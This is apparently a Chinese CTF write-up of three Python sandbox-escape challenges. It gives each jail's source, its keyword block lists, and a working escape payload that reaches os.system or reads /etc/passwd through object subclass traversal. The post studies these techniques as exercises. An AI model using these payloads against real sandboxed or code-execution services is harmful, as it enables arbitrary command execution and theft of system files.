第一道

from __future__ import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
] targets =__builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x] while 1:
print(">>>", end=' ')
data = raw_input() for no in banned:
if no.lower() in data.lower():
print("Nobueno")
break
else: # this means nobreak
exec data

payload: ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

第二道

#!/usr/bin/env python
from re import findall
def make_secure():
UNSAFE = ['open',
'file',
'execfile',
'compile',
'reload',
'__import__',
'eval',
'input']
for func in UNSAFE:
del __builtins__.__dict__[func] # Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'
while True:
try:
print ">>>",
# Read user input until the first whitespace character
inp = findall('\S+', raw_input())[0]
a = None
# Set a to the result from executing the user input
exec 'a=' + inp
print 'Return Value:', a
except Exception, e:
print 'Exception:', e

payload:().class.bases[0].subclasses()[40]("/etc/passwd").read()

前两道环境是py2,第三道是py3

第三道

# -*-coding:utf-8-*-  

#!/usr/bin/python3
import sys, cmd, os del __builtins__.__dict__['__import__']
del __builtins__.__dict__['eval'] intro = """
pwnhub cuit
pwn everything
Rules:
-No import
-No ...
-No flag """ def execute(command):
exec(command, globals()) class Jail(cmd.Cmd):
prompt = '>>> '
filtered = '\'|.|input|if|else|eval|exit|import|quit|exec|code|const|vars|str|chr|ord|local|global|join|format|replace|translate|try|except|with|content|frame|back'.split('|') def do_EOF(self, line):
sys.exit() def emptyline(self):
return cmd.Cmd.emptyline(self) def default(self, line):
sys.stdout.write('\x00') def postcmd(self, stop, line):
if any(f in line for f in self.filtered):
print("You are a big hacker !!!")
print("Go away")
else:
try:
execute(line)
except NameError:
print("NameError: name '%s' is not defined" % line)
except Exception:
print("Error: %s" % line)
return cmd.Cmd.postcmd(self, stop, line) if __name__ == "__main__":
try:
Jail().cmdloop(intro)
except KeyboardInterrupt:
print("\rSee you next time !")

payload:print(getattr(os, "system")("whoami"))

等有空好好看看python面向对象的那一块知识

参考链接:

http://www.php.cn/python-tutorials-356723.html

http://blog.51cto.com/13620939/2075204

https://xz.aliyun.com/t/52#toc-0

http://www.k0rz3n.com/2018/05/04/Python%20%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E5%A4%87%E5%BF%98/

http://www.bendawang.site/2018/03/01/%E5%85%B3%E4%BA%8EPython-sec%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/

python沙箱逃逸的几道题的更多相关文章

  1. CTF python沙箱逃逸进阶题目

    future引用了python3的新特性,所以是不能直接回回显,得用print file函数可以读取. print(().__class__.__bases__[0].__subclasses__() ...

  2. 一道简单的CTFpython沙箱逃逸题目

    看了几天的ssti注入然后了解到有python沙箱逃逸 学过ssti注入的话python沙箱逃逸还是很容易理解的. 看一道CTF题目,源码的话我改了改,一开始不能用,直接在py2上运行就好. 题目要求 ...

  3. NodeJS沙箱逃逸&&vm

    NodeJS沙箱逃逸 关于nodejs的沙箱 使用场景 在线代码编辑器 第三方js代码 jsonp,like百度搜索框 https://www.baidu.com/s?wd=nodejs&mi ...

  4. 刚毕业去面试Python工程师,这几道题太难了,Python面试题No11

    写在前面 本想停一段时间这个系列,但是好多朋友给我发信息说让我继续整理下去,so,继续吧~ 第1题: docstring是什么? docstring是一种文档字符串,用于解释构造的作用.我们在函数.类 ...

  5. python知识点总结以及15道题的解析

    先看知识点总结 一.序列操作符x in s 如果x是列表s的元素,返回True,否则Falses + t 连接两个序列s和ts*n或者n*s 将序列s复制n次s[i] 返回s中第i元素s[i:j]或s ...

  6. CVE-2021-26119 PHP Smarty 模版沙箱逃逸远程代码执行漏洞

    0x00 漏洞介绍 smarty是一个基于PHP开发的PHP模板引擎.它提供了逻辑与外在内容的分离,简单的讲,目的就是要使用PHP程序员同美工分离,使用的程序员改变程序的逻辑内容不会影响到美工的页面设 ...

  7. 【安全开发】python安全编码规范

    申明:本文非笔者原创,原文转载自:https://github.com/SecurityPaper/SecurityPaper-web/blob/master/_posts/2.SDL%E8%A7%8 ...

  8. 2017CUIT校赛-线上赛

    2017Pwnhub杯-CUIT校赛 这是CUIT第十三届校赛啦,也是我参加的第一次校赛. 在被虐到崩溃的过程中也学到了一些东西. 这次比赛是从5.27早上十点打到5.28晚上十点,共36小时,中间睡 ...

  9. 2.SDL规范文档

    01.安全设计Checklist 输入验证 校验跨信任边界传递的不可信数据(策略检查数据合法性,含白名单机制等)格式化字符串时,依然要检验用户输入的合法性,避免可造成系统信息泄露或者拒绝服务 禁止向J ...

随机推荐

  1. 如鹏网学习笔记(十)DOM

    DOM笔记一.DOM简介 Document Object Model 文档对象模型 DOM的节点树模型:整个文档按照从大到小的节点划分,每一个内容都算作一个节点 DOM API 编程接口 可以用来操作 ...

  2. java:模拟栈操作

    import java.util.ArrayList; public class MyStack { private ArrayList<Object> arrayList; public ...

  3. error: unpack failed: error Missing tree

    最近新建一个仓库,push时遇到如下问题,试了好多方法,最后在stackoverflow上找到解决办法了,可是在开始时就试过这方法,但不成.至于为嘛出现的这种错误,还是不明白原因. git.exe p ...

  4. Window ssh免密登录到远程Linux服务器

    SSH采用的是”非对称密钥系统”,即耳熟能详的公钥私钥加密系统. 1. 基于口令的安全验证 这种方式使用用户名密码进行联机登录,一般情况下我们使用的都是这种方式.整个过程大致如下: (1)客户端发起连 ...

  5. drupal 开发笔记

    “以前我在开发Java项目的时候,都需要自己设计数据库表结构,数据库表结构的设计关系到一个人开发技能的高低,而在Drupal里面,我们通常是不需要设计数据库表结构,我们要做的是创建新的内容类型,然后为 ...

  6. LeetCode赛题393----UTF-8 Validation

    393. UTF-8 Validation A character in UTF8 can be from 1 to 4 bytes long, subjected to the following ...

  7. JavaScript : Array assignment creates reference not copy

    JavaScript : Array assignment creates reference not copy 29 May 2015 Consider we have an array var a ...

  8. apply方法和call方法的详解2

    1.apply和call的区别在哪里 2.什么情况下用apply,什么情况下用call 3.apply的其他巧妙用法(一般在什么情况下可以使用apply) 我首先从网上查到关于apply和call的定 ...

  9. 系统测试用例评审checklist

    规则要素内容 使用范围 审查结果 “否”的理由 “免”的理由 规则 建议 是 否 免 规范性规则               用例是否按照公司规定的模板进行编写?  √             用例的 ...

  10. 在C#中internal、protected internal关键字是什么意思?

    internal:就是程序集. 那么什么是程序集呢?就是“项目”也就是工程里中的csproj 比如:我有个解决方案,这个方案中有2个项目,1个是控制台程序,1个是webapi项目,那么我这个解决方案中 ...